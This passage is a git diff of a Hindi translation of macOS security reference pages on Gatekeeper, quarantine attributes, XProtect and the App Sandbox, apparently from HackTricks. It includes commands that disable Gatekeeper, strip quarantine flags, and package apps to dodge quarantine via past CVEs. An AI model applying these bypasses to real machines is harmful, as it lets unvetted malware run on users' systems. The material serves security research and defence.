उपकरण है जो Gatekeeper के साथ बातचीत करने और उसे सूचीबद्ध करने के लिए है (XPC संदेशों के माध्यम से `syspolicyd` डेमन के साथ)। उदाहरण के लिए, आप GateKeeper की **स्थिति** को इस प्रकार देख सकते हैं: +**`spctl`** CLI उपकरण है जो Gatekeeper के साथ बातचीत करने और उसे सूचीबद्ध करने के लिए है (XPC संदेशों के माध्यम से `syspolicyd` डेमन के साथ)। उदाहरण के लिए, आप देख सकते हैं कि GateKeeper की **स्थिति** क्या है: ```bash # Check the status spctl --status @@ -72,9 +68,9 @@ GateKeeper यह जांचेगा कि **प्राथमिकता
-**`syspolicyd`** मुख्य डेमन है जो Gatekeeper को लागू करने के लिए जिम्मेदार है। यह `/var/db/SystemPolicy` में स्थित एक डेटाबेस बनाए रखता है और आप [डेटाबेस का कोड यहाँ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) और [SQL टेम्पलेट यहाँ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql) पा सकते हैं। ध्यान दें कि डेटाबेस SIP द्वारा अनियंत्रित है और इसे रूट द्वारा लिखा जा सकता है और डेटाबेस `/var/db/.SystemPolicy-default` का उपयोग एक मूल बैकअप के रूप में किया जाता है यदि अन्य भ्रष्ट हो जाए। +**`syspolicyd`** मुख्य डेमन है जो Gatekeeper को लागू करने के लिए जिम्मेदार है। यह `/var/db/SystemPolicy` में स्थित एक डेटाबेस बनाए रखता है और आप [यहाँ डेटाबेस का समर्थन करने के लिए कोड](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) और [यहाँ SQL टेम्पलेट](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql) पा सकते हैं। ध्यान दें कि डेटाबेस SIP द्वारा अनियंत्रित है और इसे रूट द्वारा लिखा जा सकता है और डेटाबेस `/var/db/.SystemPolicy-default` का उपयोग एक मूल बैकअप के रूप में किया जाता है यदि अन्य भ्रष्ट हो जाता है। -इसके अलावा, बंडल **`/var/db/gke.bundle`** और **`/var/db/gkopaque.bundle`** में नियमों के साथ फ़ाइलें होती हैं जो डेटाबेस में डाली जाती हैं। आप रूट के साथ इस डेटाबेस की जांच कर सकते हैं: +इसके अलावा, बंडल **`/var/db/gke.bundle`** और **`/var/db/gkopaque.bundle`** में नियमों के साथ फ़ाइलें होती हैं जो डेटाबेस में डाली जाती हैं। आप रूट के रूप में इस डेटाबेस की जांच कर सकते हैं: ```bash # Open database sqlite3 /var/db/SystemPolicy @@ -112,7 +108,7 @@ cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE ```bash sudo spctl --list ``` -विकल्प **`--master-disable`** और **`--global-disable`** का **`spctl`** पूरी तरह से इन हस्ताक्षर जांचों को **अक्षम** कर देंगे: +विकल्प **`--master-disable`** और **`--global-disable`** के **`spctl`** पूरी तरह से इन हस्ताक्षर जांचों को **अक्षम** कर देंगे: ```bash # Disable GateKeeper spctl --global-disable @@ -149,24 +145,24 @@ spctl --assess -v /Applications/App.app ### क्वारंटाइन फ़ाइलें -जब कोई **ऐप्लिकेशन** या फ़ाइल **डाउनलोड** की जाती है, तो विशिष्ट macOS **ऐप्लिकेशन** जैसे वेब ब्राउज़र या ईमेल क्लाइंट **एक विस्तारित फ़ाइल विशेषता** जोड़ते हैं, जिसे सामान्यतः "**क्वारंटाइन फ्लैग**" के रूप में जाना जाता है, डाउनलोड की गई फ़ाइल पर। यह विशेषता सुरक्षा उपाय के रूप में कार्य करती है ताकि फ़ाइल को एक अविश्वसनीय स्रोत (इंटरनेट) से आने के रूप में **चिह्नित** किया जा सके, और संभावित रूप से जोखिम उठाने वाली हो। हालाँकि, सभी ऐप्लिकेशन इस विशेषता को नहीं जोड़ते हैं, उदाहरण के लिए, सामान्य BitTorrent क्लाइंट सॉफ़्टवेयर आमतौर पर इस प्रक्रिया को बायपास करता है। +जब कोई **ऐप्लिकेशन** या फ़ाइल **डाउनलोड** की जाती है, तो विशिष्ट macOS **ऐप्लिकेशन** जैसे वेब ब्राउज़र या ईमेल क्लाइंट **एक विस्तारित फ़ाइल विशेषता** जोड़ते हैं, जिसे सामान्यतः "**क्वारंटाइन फ्लैग**" के रूप में जाना जाता है, डाउनलोड की गई फ़ाइल पर। यह विशेषता सुरक्षा उपाय के रूप में कार्य करती है ताकि फ़ाइल को एक अविश्वसनीय स्रोत (इंटरनेट) से आने के रूप में **चिन्हित** किया जा सके, और संभावित रूप से जोखिम उठाने वाली हो। हालाँकि, सभी ऐप्लिकेशन इस विशेषता को नहीं जोड़ते हैं, उदाहरण के लिए, सामान्य BitTorrent क्लाइंट सॉफ़्टवेयर आमतौर पर इस प्रक्रिया को बायपास करता है। **क्वारंटाइन फ्लैग की उपस्थिति macOS के गेटकीपर सुरक्षा फ़ीचर को संकेत देती है जब कोई उपयोगकर्ता फ़ाइल को निष्पादित करने का प्रयास करता है**। -यदि **क्वारंटाइन फ्लैग मौजूद नहीं है** (जैसे कुछ BitTorrent क्लाइंट के माध्यम से डाउनलोड की गई फ़ाइलों के साथ), तो गेटकीपर के **चेक किए जा सकते हैं**। इसलिए, उपयोगकर्ताओं को कम सुरक्षित या अज्ञात स्रोतों से डाउनलोड की गई फ़ाइलों को खोलते समय सावधानी बरतनी चाहिए। +यदि **क्वारंटाइन फ्लैग मौजूद नहीं है** (जैसे कुछ BitTorrent क्लाइंट के माध्यम से डाउनलोड की गई फ़ाइलों के साथ), तो गेटकीपर के **चेक नहीं किए जा सकते**। इसलिए, उपयोगकर्ताओं को कम सुरक्षित या अज्ञात स्रोतों से डाउनलोड की गई फ़ाइलों को खोलते समय सावधानी बरतनी चाहिए। -> [!NOTE] > **कोड हस्ताक्षरों की** **वैधता** की **जांच** एक **संसाधन-गहन** प्रक्रिया है जिसमें कोड और इसके सभी बंडल किए गए संसाधनों के क्रिप्टोग्राफ़िक **हैश** उत्पन्न करना शामिल है। इसके अलावा, प्रमाणपत्र की वैधता की जांच करने के लिए Apple के सर्वरों पर **ऑनलाइन जांच** करना आवश्यक है यह देखने के लिए कि क्या इसे जारी किए जाने के बाद रद्द कर दिया गया है। इन कारणों से, एक पूर्ण कोड हस्ताक्षर और नोटरीकरण जांच **हर बार ऐप लॉन्च होने पर चलाना व्यावहारिक नहीं है**। +> [!NOTE] > **कोड हस्ताक्षरों की** **वैधता** की **जांच** एक **संसाधन-गहन** प्रक्रिया है जिसमें कोड और इसके सभी बंडल किए गए संसाधनों के क्रिप्टोग्राफ़िक **हैश** उत्पन्न करना शामिल है। इसके अलावा, प्रमाणपत्र की वैधता की जांच करने के लिए Apple के सर्वरों पर **ऑनलाइन जांच** करना आवश्यक है यह देखने के लिए कि क्या इसे जारी किए जाने के बाद रद्द किया गया है। इन कारणों से, एक पूर्ण कोड हस्ताक्षर और नोटरीकरण जांच **हर बार ऐप लॉन्च होने पर चलाना व्यावहारिक नहीं है**। > > इसलिए, ये जांचें **केवल क्वारंटाइन विशेषता वाले ऐप्स को निष्पादित करते समय चलायी जाती हैं।** > [!WARNING] > यह विशेषता **फ़ाइल बनाने/डाउनलोड करने वाले ऐप्लिकेशन द्वारा सेट की जानी चाहिए**। > -> हालाँकि, सैंडबॉक्स की गई फ़ाइलें जो भी फ़ाइलें बनाती हैं, उन पर यह विशेषता सेट की जाएगी। और गैर-सैंडबॉक्स ऐप्स इसे स्वयं सेट कर सकते हैं, या **Info.plist** में [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) कुंजी निर्दिष्ट कर सकते हैं, जो सिस्टम को बनाई गई फ़ाइलों पर `com.apple.quarantine` विस्तारित विशेषता सेट करने के लिए मजबूर करेगा, +> हालाँकि, जो फ़ाइलें सैंडबॉक्स की गई हैं, वे हर फ़ाइल पर यह विशेषता सेट करेंगी जो वे बनाते हैं। और गैर-सैंडबॉक्स ऐप्स इसे स्वयं सेट कर सकते हैं, या **Info.plist** में [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) कुंजी निर्दिष्ट कर सकते हैं, जो सिस्टम को फ़ाइलों पर `com.apple.quarantine` विस्तारित विशेषता सेट करने के लिए बनाएगी, इसके अलावा, **`qtn_proc_apply_to_self`** को कॉल करने वाली प्रक्रिया द्वारा बनाई गई सभी फ़ाइलें क्वारंटाइन की जाती हैं। या API **`qtn_file_apply_to_path`** एक निर्दिष्ट फ़ाइल पथ पर क्वारंटाइन विशेषता जोड़ता है। -इसकी **स्थिति की जांच करना और सक्षम/अक्षम करना** (रूट आवश्यक) संभव है: +इसकी स्थिति **जांचना और सक्षम/अक्षम करना** (रूट आवश्यक) संभव है: ```bash spctl --status assessments enabled @@ -263,7 +259,7 @@ return 0; ```
-और **हटाएँ** उस विशेषता को: +और **हटाएं** वह विशेषता: ```bash xattr -d com.apple.quarantine portada.png #You can also remove this attribute from every file with @@ -283,7 +279,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri #### **Quarantine.kext** -कर्नेल एक्सटेंशन केवल **सिस्टम पर कर्नेल कैश** के माध्यम से उपलब्ध है; हालाँकि, आप **Kernel Debug Kit को** [**https://developer.apple.com/**](https://developer.apple.com/) से डाउनलोड कर सकते हैं, जिसमें एक्सटेंशन का एक प्रतीकात्मक संस्करण होगा। +कर्नेल एक्सटेंशन केवल **सिस्टम पर कर्नेल कैश** के माध्यम से उपलब्ध है; हालाँकि, आप **Kernel Debug Kit को** [**https://developer.apple.com/**](https://developer.apple.com/) से डाउनलोड कर सकते हैं, जिसमें एक्सटेंशन का एक प्रतीकित संस्करण होगा। यह Kext MACF के माध्यम से कई कॉल को हुक करेगा ताकि सभी फ़ाइल जीवनचक्र घटनाओं को ट्रैप किया जा सके: निर्माण, खोलना, नाम बदलना, हार्ड-लिंकिंग... यहां तक कि `setxattr` को `com.apple.quarantine` विस्तारित विशेषता सेट करने से रोकने के लिए। @@ -318,17 +314,17 @@ XProtect **/Library/Apple/System/Library/CoreServices/XProtect.bundle** पर > [!CAUTION] > ध्यान दें कि Gatekeeper **हर बार निष्पादित नहीं होता** जब आप एक अनुप्रयोग निष्पादित करते हैं, केवल _**AppleMobileFileIntegrity**_ (AMFI) केवल **निष्पादनीय कोड हस्ताक्षर** की पुष्टि करेगा जब आप एक ऐप निष्पादित करते हैं जिसे पहले से Gatekeeper द्वारा निष्पादित और सत्यापित किया गया है। -इसलिए, पहले यह संभव था कि एक ऐप को Gatekeeper के साथ कैश करने के लिए निष्पादित किया जाए, फिर **अनुप्रयोग की गैर-निष्पादनीय फ़ाइलों को संशोधित करें** (जैसे Electron asar या NIB फ़ाइलें) और यदि कोई अन्य सुरक्षा उपाय नहीं थे, तो अनुप्रयोग **निष्पादित** होता था **दुष्ट** परिवर्धनों के साथ। +इसलिए, पहले यह संभव था कि एक ऐप को Gatekeeper के साथ कैश करने के लिए निष्पादित किया जाए, फिर **अनुप्रयोग के निष्पादनीय नहीं फाइलों को संशोधित करें** (जैसे Electron asar या NIB फाइलें) और यदि कोई अन्य सुरक्षा उपाय नहीं थे, तो अनुप्रयोग **निष्पादित** होता था **दुष्ट** परिवर्धनों के साथ। -हालांकि, अब यह संभव नहीं है क्योंकि macOS **अनुप्रयोग बंडलों के अंदर फ़ाइलों को संशोधित करने से रोकता है**। इसलिए, यदि आप [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) हमले का प्रयास करते हैं, तो आप पाएंगे कि इसे दुरुपयोग करना अब संभव नहीं है क्योंकि Gatekeeper के साथ इसे कैश करने के लिए ऐप को निष्पादित करने के बाद, आप बंडल को संशोधित नहीं कर पाएंगे। और यदि आप उदाहरण के लिए Contents निर्देशिका का नाम NotCon में बदलते हैं (जैसा कि शोषण में इंगित किया गया है), और फिर ऐप के मुख्य बाइनरी को Gatekeeper के साथ कैश करने के लिए निष्पादित करते हैं, तो यह एक त्रुटि को ट्रिगर करेगा और निष्पादित नहीं होगा। +हालांकि, अब यह संभव नहीं है क्योंकि macOS **अनुप्रयोग बंडलों के अंदर फाइलों को संशोधित करने से रोकता है**। इसलिए, यदि आप [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) हमले का प्रयास करते हैं, तो आप पाएंगे कि इसे दुरुपयोग करना अब संभव नहीं है क्योंकि Gatekeeper के साथ इसे कैश करने के लिए ऐप को निष्पादित करने के बाद, आप बंडल को संशोधित नहीं कर पाएंगे। और यदि आप उदाहरण के लिए Contents निर्देशिका का नाम NotCon में बदलते हैं (जैसा कि शोषण में इंगित किया गया है), और फिर ऐप के मुख्य बाइनरी को Gatekeeper के साथ कैश करने के लिए निष्पादित करते हैं, तो यह एक त्रुटि को ट्रिगर करेगा और निष्पादित नहीं होगा। ## Gatekeeper Bypasses -Gatekeeper को बायपास करने का कोई भी तरीका (उपयोगकर्ता को कुछ डाउनलोड करने और उसे निष्पादित करने में सक्षम बनाना जब Gatekeeper इसे अस्वीकार करना चाहिए) macOS में एक भेद्यता माना जाता है। ये कुछ CVEs हैं जो तकनीकों को सौंपे गए हैं जिन्होंने अतीत में Gatekeeper को बायपास करने की अनुमति दी: +Gatekeeper को बायपास करने का कोई भी तरीका (उपयोगकर्ता को कुछ डाउनलोड करने और निष्पादित करने के लिए प्रबंधित करना जब Gatekeeper इसे अस्वीकार करना चाहिए) macOS में एक भेद्यता माना जाता है। ये कुछ CVEs हैं जो तकनीकों को सौंपे गए हैं जिन्होंने अतीत में Gatekeeper को बायपास करने की अनुमति दी: ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) -यह देखा गया कि यदि **Archive Utility** का उपयोग निष्कर्षण के लिए किया जाता है, तो **886 वर्णों से अधिक पथ** वाली फ़ाइलों को com.apple.quarantine विस्तारित विशेषता प्राप्त नहीं होती है। यह स्थिति अनजाने में उन फ़ाइलों को **Gatekeeper की** सुरक्षा जांचों को **बायपास** करने की अनुमति देती है। +यह देखा गया कि यदि **Archive Utility** का उपयोग निष्कर्षण के लिए किया जाता है, तो **886 वर्णों से अधिक पथ** वाली फाइलें com.apple.quarantine विस्तारित विशेषता प्राप्त नहीं करती हैं। यह स्थिति अनजाने में उन फाइलों को **Gatekeeper की** सुरक्षा जांचों को **बायपास** करने की अनुमति देती है। अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) की जांच करें। @@ -344,7 +340,7 @@ Gatekeeper को बायपास करने का कोई भी तर ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) -इस बायपास में एक ज़िप फ़ाइल बनाई गई थी जिसमें एक अनुप्रयोग को `application.app/Contents` से संकुचित करना शुरू किया गया था न कि `application.app` से। इसलिए, **क्वारंटाइन विशेषता** सभी **फाइलों पर लागू की गई थी `application.app/Contents`** लेकिन **`application.app` पर नहीं**, जिसे Gatekeeper चेक कर रहा था, इसलिए Gatekeeper को बायपास किया गया क्योंकि जब `application.app` को ट्रिगर किया गया तो **इसमें क्वारंटाइन विशेषता नहीं थी।** +इस बायपास में एक ज़िप फ़ाइल बनाई गई थी जिसमें एक अनुप्रयोग `application.app/Contents` से संकुचन शुरू कर रहा था न कि `application.app` से। इसलिए, **क्वारंटाइन विशेषता** सभी **फाइलों पर लागू की गई थी `application.app/Contents`** लेकिन **`application.app` पर नहीं**, जिसे Gatekeeper जांच रहा था, इसलिए Gatekeeper को बायपास किया गया क्योंकि जब `application.app` को ट्रिगर किया गया तो **इसमें क्वारंटाइन विशेषता नहीं थी।** ```bash zip -r test.app/Contents test.zip ``` @@ -352,7 +348,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) -यहां तक कि यदि घटक भिन्न हैं, तो इस सुरक्षा कमजोरी का शोषण पिछले वाले के समान है। इस मामले में, हम **`application.app/Contents`** से एक Apple Archive बनाएंगे ताकि **`application.app`** को **Archive Utility** द्वारा अनजिप करते समय क्वारंटाइन विशेषता न मिले। +यहां तक कि यदि घटक भिन्न हैं, तो इस सुरक्षा कमजोरी का शोषण पिछले वाले के समान है। इस मामले में हम **`application.app/Contents`** से एक Apple Archive बनाएंगे ताकि **`application.app`** को **Archive Utility** द्वारा अनजिप करते समय क्वारंटाइन विशेषता न मिले। ```bash aa archive -d test.app/Contents -o test.app.aar ``` @@ -369,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` इसके अलावा, **AppleDouble** फ़ाइल प्रारूप एक फ़ाइल को उसके ACEs सहित कॉपी करता है। -[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, को डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को इसमें लिखने से रोकता है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था: +[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, को डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को इसमें लिखने से रोकती है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -431,8 +427,5 @@ aa archive -d s/ -o app.aar एक ".app" बंडल में यदि क्वारंटाइन xattr जोड़ा नहीं गया है, तो इसे निष्पादित करते समय **Gatekeeper सक्रिय नहीं होगा**। -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 7d49d46c0..d251e1749 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -6,7 +6,7 @@ MacOS Sandbox (शुरुआत में Seatbelt कहा जाता था) **ऐप्लिकेशनों को सीमित करता है** जो सैंडबॉक्स के अंदर चल रही हैं **सैंडबॉक्स प्रोफ़ाइल में निर्दिष्ट अनुमत क्रियाओं** तक। यह सुनिश्चित करने में मदद करता है कि **ऐप्लिकेशन केवल अपेक्षित संसाधनों तक पहुंच प्राप्त करेगा**। -कोई भी ऐप जिसमें **अधिकार** **`com.apple.security.app-sandbox`** है, सैंडबॉक्स के अंदर निष्पादित किया जाएगा। **एप्पल बाइनरीज़** आमतौर पर सैंडबॉक्स के अंदर निष्पादित होती हैं, और **ऐप स्टोर** से सभी ऐप्लिकेशनों के पास वह अधिकार होता है। इसलिए कई ऐप्लिकेशनों को सैंडबॉक्स के अंदर निष्पादित किया जाएगा। +कोई भी ऐप जिसमें **अधिकार** **`com.apple.security.app-sandbox`** है, सैंडबॉक्स के अंदर निष्पादित किया जाएगा। **एप्पल बाइनरीज़** आमतौर पर सैंडबॉक्स के अंदर निष्पादित होती हैं, और **ऐप स्टोर** से सभी ऐप्लिकेशनों के पास वह अधिकार होता है। इसलिए कई ऐप्लिकेशन सैंडबॉक्स के अंदर निष्पादित किए जाएंगे। यह नियंत्रित करने के लिए कि एक प्रक्रिया क्या कर सकती है या नहीं, **सैंडबॉक्स में लगभग किसी भी ऑपरेशन में हुक होते हैं** जो एक प्रक्रिया कोशिश कर सकती है (अधिकांश syscalls सहित) **MACF** का उपयोग करते हुए। हालाँकि, ऐप के **अधिकारों** के आधार पर सैंडबॉक्स प्रक्रिया के साथ अधिक उदार हो सकता है। @@ -56,7 +56,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp > [!CAUTION] > ध्यान दें कि भले ही symlinks "Sandbox" से "escape" करने और अन्य फ़ोल्डरों तक पहुँचने के लिए वहाँ हैं, ऐप को अभी भी **अनुमतियाँ** होनी चाहिए ताकि वह उन्हें एक्सेस कर सके। ये अनुमतियाँ **`.plist`** में `RedirectablePaths` के अंदर हैं। -**`SandboxProfileData`** संकलित सैंडबॉक्स प्रोफ़ाइल CFData है जिसे B64 में एस्केप किया गया है। +**`SandboxProfileData`** संकलित सैंडबॉक्स प्रोफ़ाइल CFData है जिसे B64 में escaped किया गया है। ```bash # Get container config ## You need FDA to access the file, not even just root can read it @@ -106,13 +106,13 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` > [!WARNING] -> एक Sandboxed एप्लिकेशन द्वारा बनाई गई/संशोधित हर चीज़ को **quarantine attribute** मिलेगा। यदि सैंडबॉक्स ऐप कुछ **`open`** के साथ निष्पादित करने की कोशिश करता है, तो यह Gatekeeper को ट्रिगर करके एक सैंडबॉक्स स्थान को रोक देगा। +> एक Sandboxed एप्लिकेशन द्वारा बनाई गई/संशोधित की गई हर चीज़ को **quarantine attribute** मिलेगा। यदि सैंडबॉक्स ऐप कुछ **`open`** के साथ निष्पादित करने की कोशिश करता है, तो यह Gatekeeper को ट्रिगर करके एक सैंडबॉक्स स्थान को रोक देगा। ## Sandbox Profiles Sandbox प्रोफाइल कॉन्फ़िगरेशन फ़ाइलें हैं जो यह संकेत देती हैं कि उस **Sandbox** में क्या **अनुमति/प्रतिबंधित** होगा। यह **Sandbox Profile Language (SBPL)** का उपयोग करता है, जो [**Scheme**]() प्रोग्रामिंग भाषा का उपयोग करता है। -यहाँ एक उदाहरण है: +यहाँ आप एक उदाहरण पा सकते हैं: ```scheme (version 1) ; First you get the version @@ -131,7 +131,7 @@ Sandbox प्रोफाइल कॉन्फ़िगरेशन फ़ा ) ``` > [!TIP] -> इस [**शोध**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **को अधिक क्रियाओं की जांच करने के लिए देखें जो अनुमति दी जा सकती हैं या अस्वीकृत की जा सकती हैं।** +> इस [**शोध**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **को देखें ताकि अधिक क्रियाएँ जो अनुमति दी जा सकती हैं या अस्वीकृत की जा सकती हैं, की जांच की जा सके।** > > ध्यान दें कि एक प्रोफ़ाइल के संकलित संस्करण में संचालन के नाम को एक ऐरे में उनके प्रविष्टियों द्वारा प्रतिस्थापित किया जाता है जिसे dylib और kext द्वारा जाना जाता है, जिससे संकलित संस्करण छोटा और पढ़ने में अधिक कठिन हो जाता है। @@ -139,11 +139,13 @@ Sandbox प्रोफाइल कॉन्फ़िगरेशन फ़ा - **`/usr/share/sandbox`** - **`/System/Library/Sandbox/Profiles`** -- अन्य सैंडबॉक्स प्रोफाइल की जांच [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) में की जा सकती है। +- अन्य सैंडबॉक्स प्रोफाइल की जांच [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) पर की जा सकती है। **ऐप स्टोर** ऐप्स **प्रोफ़ाइल** **`/System/Library/Sandbox/Profiles/application.sb`** का उपयोग करते हैं। आप इस प्रोफ़ाइल में देख सकते हैं कि कैसे अधिकार जैसे **`com.apple.security.network.server`** एक प्रक्रिया को नेटवर्क का उपयोग करने की अनुमति देते हैं। -SIP एक सैंडबॉक्स प्रोफ़ाइल है जिसे /System/Library/Sandbox/rootless.conf में platform_profile कहा जाता है। +फिर, कुछ **Apple डेमन सेवाएँ** विभिन्न प्रोफाइल का उपयोग करती हैं जो `/System/Library/Sandbox/Profiles/*.sb` या `/usr/share/sandbox/*.sb` में स्थित हैं। ये सैंडबॉक्स मुख्य कार्य में लागू होते हैं जो API `sandbox_init_XXX` को कॉल करता है। + +**SIP** एक सैंडबॉक्स प्रोफ़ाइल है जिसे `/System/Library/Sandbox/rootless.conf` में platform_profile कहा जाता है। ### सैंडबॉक्स प्रोफ़ाइल उदाहरण @@ -203,13 +205,13 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last बायपास के उदाहरण: - [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (वे `~$` से शुरू होने वाले फ़ाइलों को सैंडबॉक्स के बाहर लिखने में सक्षम हैं)। +- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (वे `~$` से शुरू होने वाले नाम के साथ सैंडबॉक्स के बाहर फ़ाइलें लिखने में सक्षम हैं)। ### सैंडबॉक्स ट्रेसिंग #### प्रोफ़ाइल के माध्यम से -यह संभव है कि हर बार जब कोई क्रिया जांची जाती है, तो सैंडबॉक्स द्वारा किए गए सभी चेक को ट्रेस किया जा सके। इसके लिए बस निम्नलिखित प्रोफ़ाइल बनाएं: +यह संभव है कि हर बार जब कोई क्रिया की जाती है, तो सैंडबॉक्स द्वारा किए गए सभी चेक को ट्रेस किया जा सके। इसके लिए बस निम्नलिखित प्रोफ़ाइल बनाएं: ```scheme:trace.sb (version 1) (trace /tmp/trace.out) @@ -218,18 +220,18 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ```bash sandbox-exec -f /tmp/trace.sb /bin/ls ``` -`/tmp/trace.out` में आप देख सकेंगे कि हर बार जब इसे कॉल किया गया, तो प्रत्येक सैंडबॉक्स चेक कैसे किया गया (तो, बहुत सारे डुप्लिकेट हैं)। +`/tmp/trace.out` में आप देख सकेंगे कि हर बार इसे कॉल करने पर प्रत्येक सैंडबॉक्स चेक कैसे किया गया (तो, बहुत सारे डुप्लिकेट हैं)। सैंडबॉक्स को **`-t`** पैरामीटर का उपयोग करके ट्रेस करना भी संभव है: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` #### API के माध्यम से `libsystem_sandbox.dylib` द्वारा निर्यातित `sandbox_set_trace_path` फ़ंक्शन एक ट्रेस फ़ाइल नाम निर्दिष्ट करने की अनुमति देता है जहाँ सैंडबॉक्स चेक लिखे जाएंगे।\ -यह कुछ समान करने के लिए `sandbox_vtrace_enable()` को कॉल करके और फिर बफर से लॉग त्रुटियों को प्राप्त करने के लिए `sandbox_vtrace_report()` को कॉल करके भी संभव है। +यह `sandbox_vtrace_enable()` को कॉल करके कुछ समान करना भी संभव है और फिर बफर से लॉग त्रुटियों को प्राप्त करना `sandbox_vtrace_report()` को कॉल करके। ### सैंडबॉक्स निरीक्षण -`libsandbox.dylib` एक फ़ंक्शन निर्यात करता है जिसे sandbox_inspect_pid कहा जाता है, जो एक प्रक्रिया की सैंडबॉक्स स्थिति की सूची देता है (जिसमें एक्सटेंशन शामिल हैं)। हालाँकि, केवल प्लेटफ़ॉर्म बाइनरी इस फ़ंक्शन का उपयोग कर सकती हैं। +`libsandbox.dylib` एक फ़ंक्शन निर्यात करता है जिसे sandbox_inspect_pid कहा जाता है जो एक प्रक्रिया की सैंडबॉक्स स्थिति की सूची देता है (विस्तार सहित)। हालाँकि, केवल प्लेटफ़ॉर्म बाइनरी इस फ़ंक्शन का उपयोग कर सकते हैं। ### MacOS और iOS सैंडबॉक्स प्रोफाइल @@ -237,11 +239,11 @@ MacOS सिस्टम सैंडबॉक्स प्रोफाइल और यदि कोई तृतीय-पक्ष एप्लिकेशन _**com.apple.security.app-sandbox**_ अधिकार लेता है, तो सिस्टम उस प्रक्रिया पर **/System/Library/Sandbox/Profiles/application.sb** प्रोफाइल लागू करता है। -iOS में, डिफ़ॉल्ट प्रोफाइल को **container** कहा जाता है और हमारे पास SBPL पाठ प्रतिनिधित्व नहीं है। मेमोरी में, इस सैंडबॉक्स को सैंडबॉक्स से प्रत्येक अनुमतियों के लिए अनुमति/निषेध बाइनरी ट्री के रूप में दर्शाया गया है। +iOS में, डिफ़ॉल्ट प्रोफाइल को **container** कहा जाता है और हमारे पास SBPL पाठ प्रतिनिधित्व नहीं है। मेमोरी में, इस सैंडबॉक्स को सैंडबॉक्स से प्रत्येक अनुमति के लिए अनुमति/निषेध बाइनरी ट्री के रूप में दर्शाया गया है। ### ऐप स्टोर ऐप्स में कस्टम SBPL -कंपनियों के लिए अपने ऐप्स को **कस्टम सैंडबॉक्स प्रोफाइल** के साथ चलाना संभव हो सकता है (डिफ़ॉल्ट के बजाय)। उन्हें अधिकार **`com.apple.security.temporary-exception.sbpl`** का उपयोग करना होगा जिसे Apple द्वारा अधिकृत किया जाना चाहिए। +कंपनियों के लिए यह संभव हो सकता है कि वे अपने ऐप्स को **कस्टम सैंडबॉक्स प्रोफाइल** के साथ चलाएँ (डिफ़ॉल्ट के बजाय)। उन्हें अधिकार **`com.apple.security.temporary-exception.sbpl`** का उपयोग करना 